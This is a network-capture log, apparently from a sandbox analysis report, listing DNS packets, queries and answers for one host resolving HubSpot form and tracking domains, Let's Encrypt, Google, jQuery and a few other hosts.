Jan 10, 2025 12:04:36.082736015 CET	53	58140	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.083022118 CET	53	64667	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.087945938 CET	53	56531	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.088778973 CET	53	64418	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.518274069 CET	52301	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:36.518407106 CET	65385	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:36.527004957 CET	53	52301	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:36.528489113 CET	53	65385	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:37.677118063 CET	53	57680	1.1.1.1	192.168.2.5
Jan 10, 2025 12:04:48.841082096 CET	61579	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:04:50.705949068 CET	53	56992	1.1.1.1	192.168.2.5
Jan 10, 2025 12:05:05.763446093 CET	53614	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:05:09.431575060 CET	53	61300	1.1.1.1	192.168.2.5
Jan 10, 2025 12:05:24.529310942 CET	58419	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:05:32.053122997 CET	53	59155	1.1.1.1	192.168.2.5
Jan 10, 2025 12:05:32.323952913 CET	53	50832	1.1.1.1	192.168.2.5
Jan 10, 2025 12:05:45.434163094 CET	62310	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:01.819689035 CET	53	58661	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:16.887382984 CET	57267	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:47.676196098 CET	53	58496	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:51.677342892 CET	53081	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:51.677568913 CET	55415	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:51.684715986 CET	53	53081	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:51.685650110 CET	53	55415	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.362791061 CET	50407	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.362958908 CET	54691	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.370553017 CET	53	54691	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.370593071 CET	53	50407	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.429941893 CET	53701	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.430150986 CET	58969	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.456979990 CET	52813	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.457252979 CET	54899	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.462590933 CET	58562	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.462760925 CET	64402	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:52.464447021 CET	53	52813	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.465209007 CET	53	54899	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.469506025 CET	53	58562	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.470257044 CET	53	64402	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.535368919 CET	53	53701	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:52.643996954 CET	53	58969	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:53.106966972 CET	61888	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:53.107078075 CET	63389	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:53.114294052 CET	53	63389	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:53.114557028 CET	53	61888	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:54.841455936 CET	54151	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:54.841609001 CET	58417	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:54.848131895 CET	53	58417	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:54.848762035 CET	53	54151	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:55.650629997 CET	59420	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:55.650980949 CET	61200	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:55.658296108 CET	53	59420	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:55.658797026 CET	53	61200	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:55.729096889 CET	53	51735	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:55.744021893 CET	63396	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:55.744278908 CET	53210	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:55.750581980 CET	53	63396	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:55.751349926 CET	53	53210	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:58.150221109 CET	53649	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:58.150221109 CET	65200	53	192.168.2.5	1.1.1.1
Jan 10, 2025 12:06:58.156775951 CET	53	65200	1.1.1.1	192.168.2.5
Jan 10, 2025 12:06:58.157546997 CET	53	53649	1.1.1.1	192.168.2.5
Jan 10, 2025 12:07:02.754120111 CET	51672	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 12:04:19.225078106 CET	192.168.2.5	1.1.1.1	0xb8c0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:32.713469028 CET	192.168.2.5	1.1.1.1	0x62d5	Standard query (0)	share.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:32.713633060 CET	192.168.2.5	1.1.1.1	0xe63f	Standard query (0)	share.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:33.079070091 CET	192.168.2.5	1.1.1.1	0x78d8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.370322943 CET	192.168.2.5	1.1.1.1	0x3d1c	Standard query (0)	static.hsappstatic.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.370543003 CET	192.168.2.5	1.1.1.1	0x7a66	Standard query (0)	static.hsappstatic.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:33.392101049 CET	192.168.2.5	1.1.1.1	0x7d27	Standard query (0)	js.hsforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.392404079 CET	192.168.2.5	1.1.1.1	0x23b5	Standard query (0)	js.hsforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:33.392657995 CET	192.168.2.5	1.1.1.1	0x9c36	Standard query (0)	forms.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.392790079 CET	192.168.2.5	1.1.1.1	0xbd47	Standard query (0)	forms.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:33.397684097 CET	192.168.2.5	1.1.1.1	0x61de	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.397851944 CET	192.168.2.5	1.1.1.1	0x24c4	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.008275986 CET	192.168.2.5	1.1.1.1	0xa264	Standard query (0)	static.hsappstatic.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.008416891 CET	192.168.2.5	1.1.1.1	0x6428	Standard query (0)	static.hsappstatic.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.079233885 CET	192.168.2.5	1.1.1.1	0x82e2	Standard query (0)	js.hs-analytics.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.079407930 CET	192.168.2.5	1.1.1.1	0x1b83	Standard query (0)	js.hs-analytics.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.079962015 CET	192.168.2.5	1.1.1.1	0x514c	Standard query (0)	js.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.080112934 CET	192.168.2.5	1.1.1.1	0x9666	Standard query (0)	js.hscollectedforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.080557108 CET	192.168.2.5	1.1.1.1	0xc464	Standard query (0)	js.hsleadflows.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.080698967 CET	192.168.2.5	1.1.1.1	0x8e8e	Standard query (0)	js.hsleadflows.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.081084013 CET	192.168.2.5	1.1.1.1	0x17cd	Standard query (0)	js.hs-banner.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.081221104 CET	192.168.2.5	1.1.1.1	0xad2c	Standard query (0)	js.hs-banner.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.082015991 CET	192.168.2.5	1.1.1.1	0xedc8	Standard query (0)	js.hs-scripts.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.082154989 CET	192.168.2.5	1.1.1.1	0x336c	Standard query (0)	js.hs-scripts.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:34.647901058 CET	192.168.2.5	1.1.1.1	0xe48	Standard query (0)	js.hsforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.648068905 CET	192.168.2.5	1.1.1.1	0x4f90	Standard query (0)	js.hsforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.100205898 CET	192.168.2.5	1.1.1.1	0x197	Standard query (0)	forms.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.100409985 CET	192.168.2.5	1.1.1.1	0xdab2	Standard query (0)	forms.hscollectedforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.178033113 CET	192.168.2.5	1.1.1.1	0xb70d	Standard query (0)	js.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.178210020 CET	192.168.2.5	1.1.1.1	0x6c04	Standard query (0)	js.hscollectedforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.179220915 CET	192.168.2.5	1.1.1.1	0x8ca7	Standard query (0)	js.hs-analytics.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.179361105 CET	192.168.2.5	1.1.1.1	0x9f70	Standard query (0)	js.hs-analytics.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.179816008 CET	192.168.2.5	1.1.1.1	0xd368	Standard query (0)	js.hs-banner.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.180001974 CET	192.168.2.5	1.1.1.1	0x9333	Standard query (0)	js.hs-banner.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.316512108 CET	192.168.2.5	1.1.1.1	0x240e	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.318569899 CET	192.168.2.5	1.1.1.1	0x75d2	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.349328041 CET	192.168.2.5	1.1.1.1	0xfebc	Standard query (0)	js.hsleadflows.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.349566936 CET	192.168.2.5	1.1.1.1	0x7500	Standard query (0)	js.hsleadflows.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.428292990 CET	192.168.2.5	1.1.1.1	0xa9c	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.428517103 CET	192.168.2.5	1.1.1.1	0x27c8	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.438200951 CET	192.168.2.5	1.1.1.1	0xd7f6	Standard query (0)	48528028.fs1.hubspotusercontent-na1.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.438349962 CET	192.168.2.5	1.1.1.1	0xb463	Standard query (0)	48528028.fs1.hubspotusercontent-na1.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.449150085 CET	192.168.2.5	1.1.1.1	0x5bec	Standard query (0)	forms.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.449305058 CET	192.168.2.5	1.1.1.1	0xad1	Standard query (0)	forms.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.760164022 CET	192.168.2.5	1.1.1.1	0x17ea	Standard query (0)	forms.hscollectedforms.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.760375977 CET	192.168.2.5	1.1.1.1	0x6dc7	Standard query (0)	forms.hscollectedforms.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:35.982719898 CET	192.168.2.5	1.1.1.1	0x215b	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.983045101 CET	192.168.2.5	1.1.1.1	0x6d6f	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:36.075463057 CET	192.168.2.5	1.1.1.1	0xb3a9	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.075618029 CET	192.168.2.5	1.1.1.1	0xf02e	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:36.078999996 CET	192.168.2.5	1.1.1.1	0x80df	Standard query (0)	48528028.fs1.hubspotusercontent-na1.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.079181910 CET	192.168.2.5	1.1.1.1	0x11e6	Standard query (0)	48528028.fs1.hubspotusercontent-na1.net	65	IN (0x0001)	false
Jan 10, 2025 12:04:36.518274069 CET	192.168.2.5	1.1.1.1	0xc5ef	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.518407106 CET	192.168.2.5	1.1.1.1	0x8ad3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 10, 2025 12:04:48.841082096 CET	192.168.2.5	1.1.1.1	0x9f2a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:05:05.763446093 CET	192.168.2.5	1.1.1.1	0x287c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:05:24.529310942 CET	192.168.2.5	1.1.1.1	0x2c1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:05:45.434163094 CET	192.168.2.5	1.1.1.1	0x6797	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:16.887382984 CET	192.168.2.5	1.1.1.1	0x5983	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:51.677342892 CET	192.168.2.5	1.1.1.1	0xdaef	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:51.677568913 CET	192.168.2.5	1.1.1.1	0x4bf6	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:52.362791061 CET	192.168.2.5	1.1.1.1	0xfc17	Standard query (0)	track.hubspot.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.362958908 CET	192.168.2.5	1.1.1.1	0x7c9b	Standard query (0)	track.hubspot.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:52.429941893 CET	192.168.2.5	1.1.1.1	0xd51e	Standard query (0)	5qwo.oventera.ru	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.430150986 CET	192.168.2.5	1.1.1.1	0xf05d	Standard query (0)	5qwo.oventera.ru	65	IN (0x0001)	false
Jan 10, 2025 12:06:52.456979990 CET	192.168.2.5	1.1.1.1	0x761	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.457252979 CET	192.168.2.5	1.1.1.1	0xbdaf	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:52.462590933 CET	192.168.2.5	1.1.1.1	0x9589	Standard query (0)	forms.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.462760925 CET	192.168.2.5	1.1.1.1	0xf12a	Standard query (0)	forms.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:53.106966972 CET	192.168.2.5	1.1.1.1	0x4306	Standard query (0)	forms-na1.hsforms.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:53.107078075 CET	192.168.2.5	1.1.1.1	0xbc0b	Standard query (0)	forms-na1.hsforms.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:54.841455936 CET	192.168.2.5	1.1.1.1	0xdb58	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:54.841609001 CET	192.168.2.5	1.1.1.1	0x4efa	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:55.650629997 CET	192.168.2.5	1.1.1.1	0x976a	Standard query (0)	blogger.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.650980949 CET	192.168.2.5	1.1.1.1	0x9875	Standard query (0)	blogger.googleusercontent.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:55.744021893 CET	192.168.2.5	1.1.1.1	0xe789	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.744278908 CET	192.168.2.5	1.1.1.1	0x21dd	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 10, 2025 12:06:58.150221109 CET	192.168.2.5	1.1.1.1	0x4013	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:58.150221109 CET	192.168.2.5	1.1.1.1	0xb929	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 10, 2025 12:07:02.754120111 CET	192.168.2.5	1.1.1.1	0x493	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 12:04:19.234107971 CET	1.1.1.1	192.168.2.5	0xb8c0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:04:32.721605062 CET	1.1.1.1	192.168.2.5	0x62d5	No error (0)	share.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:32.721605062 CET	1.1.1.1	192.168.2.5	0x62d5	No error (0)	share.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:32.723332882 CET	1.1.1.1	192.168.2.5	0xe63f	No error (0)	share.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:33.181844950 CET	1.1.1.1	192.168.2.5	0x78d8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:04:33.377880096 CET	1.1.1.1	192.168.2.5	0x7a66	No error (0)	static.hsappstatic.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:33.378159046 CET	1.1.1.1	192.168.2.5	0x3d1c	No error (0)	static.hsappstatic.net		104.17.174.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.378159046 CET	1.1.1.1	192.168.2.5	0x3d1c	No error (0)	static.hsappstatic.net		104.17.172.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.378159046 CET	1.1.1.1	192.168.2.5	0x3d1c	No error (0)	static.hsappstatic.net		104.17.173.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.378159046 CET	1.1.1.1	192.168.2.5	0x3d1c	No error (0)	static.hsappstatic.net		104.17.176.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.378159046 CET	1.1.1.1	192.168.2.5	0x3d1c	No error (0)	static.hsappstatic.net		104.17.175.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.399015903 CET	1.1.1.1	192.168.2.5	0x7d27	No error (0)	js.hsforms.net		104.18.141.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.399015903 CET	1.1.1.1	192.168.2.5	0x7d27	No error (0)	js.hsforms.net		104.18.142.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.399792910 CET	1.1.1.1	192.168.2.5	0x23b5	No error (0)	js.hsforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:33.399996996 CET	1.1.1.1	192.168.2.5	0x9c36	No error (0)	forms.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.399996996 CET	1.1.1.1	192.168.2.5	0x9c36	No error (0)	forms.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.400027037 CET	1.1.1.1	192.168.2.5	0xbd47	No error (0)	forms.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:33.405112028 CET	1.1.1.1	192.168.2.5	0x24c4	No error (0)	js.hs-scripts.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:33.405143023 CET	1.1.1.1	192.168.2.5	0x61de	No error (0)	js.hs-scripts.com		104.16.140.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.405143023 CET	1.1.1.1	192.168.2.5	0x61de	No error (0)	js.hs-scripts.com		104.16.139.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.405143023 CET	1.1.1.1	192.168.2.5	0x61de	No error (0)	js.hs-scripts.com		104.16.138.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.405143023 CET	1.1.1.1	192.168.2.5	0x61de	No error (0)	js.hs-scripts.com		104.16.137.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:33.405143023 CET	1.1.1.1	192.168.2.5	0x61de	No error (0)	js.hs-scripts.com		104.16.141.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.015454054 CET	1.1.1.1	192.168.2.5	0x6428	No error (0)	static.hsappstatic.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.015520096 CET	1.1.1.1	192.168.2.5	0xa264	No error (0)	static.hsappstatic.net		104.17.173.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.015520096 CET	1.1.1.1	192.168.2.5	0xa264	No error (0)	static.hsappstatic.net		104.17.172.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.015520096 CET	1.1.1.1	192.168.2.5	0xa264	No error (0)	static.hsappstatic.net		104.17.174.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.015520096 CET	1.1.1.1	192.168.2.5	0xa264	No error (0)	static.hsappstatic.net		104.17.176.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.015520096 CET	1.1.1.1	192.168.2.5	0xa264	No error (0)	static.hsappstatic.net		104.17.175.91	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.085927010 CET	1.1.1.1	192.168.2.5	0x82e2	No error (0)	js.hs-analytics.net		104.16.160.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.085927010 CET	1.1.1.1	192.168.2.5	0x82e2	No error (0)	js.hs-analytics.net		104.17.175.201	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.086395979 CET	1.1.1.1	192.168.2.5	0x1b83	No error (0)	js.hs-analytics.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.087490082 CET	1.1.1.1	192.168.2.5	0x9666	No error (0)	js.hscollectedforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.087569952 CET	1.1.1.1	192.168.2.5	0x8e8e	No error (0)	js.hsleadflows.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.087579966 CET	1.1.1.1	192.168.2.5	0x514c	No error (0)	js.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087579966 CET	1.1.1.1	192.168.2.5	0x514c	No error (0)	js.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087579966 CET	1.1.1.1	192.168.2.5	0x514c	No error (0)	js.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087579966 CET	1.1.1.1	192.168.2.5	0x514c	No error (0)	js.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087579966 CET	1.1.1.1	192.168.2.5	0x514c	No error (0)	js.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087698936 CET	1.1.1.1	192.168.2.5	0x17cd	No error (0)	js.hs-banner.com		104.18.40.240	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087698936 CET	1.1.1.1	192.168.2.5	0x17cd	No error (0)	js.hs-banner.com		172.64.147.16	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087801933 CET	1.1.1.1	192.168.2.5	0xc464	No error (0)	js.hsleadflows.net		104.18.138.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087801933 CET	1.1.1.1	192.168.2.5	0xc464	No error (0)	js.hsleadflows.net		104.18.137.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087801933 CET	1.1.1.1	192.168.2.5	0xc464	No error (0)	js.hsleadflows.net		104.18.141.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087801933 CET	1.1.1.1	192.168.2.5	0xc464	No error (0)	js.hsleadflows.net		104.18.140.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.087801933 CET	1.1.1.1	192.168.2.5	0xc464	No error (0)	js.hsleadflows.net		104.18.139.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088669062 CET	1.1.1.1	192.168.2.5	0xad2c	No error (0)	js.hs-banner.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.088726997 CET	1.1.1.1	192.168.2.5	0xedc8	No error (0)	js.hs-scripts.com		104.16.140.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088726997 CET	1.1.1.1	192.168.2.5	0xedc8	No error (0)	js.hs-scripts.com		104.16.141.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088726997 CET	1.1.1.1	192.168.2.5	0xedc8	No error (0)	js.hs-scripts.com		104.16.137.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088726997 CET	1.1.1.1	192.168.2.5	0xedc8	No error (0)	js.hs-scripts.com		104.16.138.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088726997 CET	1.1.1.1	192.168.2.5	0xedc8	No error (0)	js.hs-scripts.com		104.16.139.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.088937998 CET	1.1.1.1	192.168.2.5	0x336c	No error (0)	js.hs-scripts.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.655436993 CET	1.1.1.1	192.168.2.5	0x4f90	No error (0)	js.hsforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:34.655865908 CET	1.1.1.1	192.168.2.5	0xe48	No error (0)	js.hsforms.net		104.18.141.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:34.655865908 CET	1.1.1.1	192.168.2.5	0xe48	No error (0)	js.hsforms.net		104.18.142.119	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107198000 CET	1.1.1.1	192.168.2.5	0x197	No error (0)	forms.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107198000 CET	1.1.1.1	192.168.2.5	0x197	No error (0)	forms.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107198000 CET	1.1.1.1	192.168.2.5	0x197	No error (0)	forms.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107198000 CET	1.1.1.1	192.168.2.5	0x197	No error (0)	forms.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107198000 CET	1.1.1.1	192.168.2.5	0x197	No error (0)	forms.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.107713938 CET	1.1.1.1	192.168.2.5	0xdab2	No error (0)	forms.hscollectedforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.185426950 CET	1.1.1.1	192.168.2.5	0x6c04	No error (0)	js.hscollectedforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.185487032 CET	1.1.1.1	192.168.2.5	0xb70d	No error (0)	js.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.185487032 CET	1.1.1.1	192.168.2.5	0xb70d	No error (0)	js.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.185487032 CET	1.1.1.1	192.168.2.5	0xb70d	No error (0)	js.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.185487032 CET	1.1.1.1	192.168.2.5	0xb70d	No error (0)	js.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
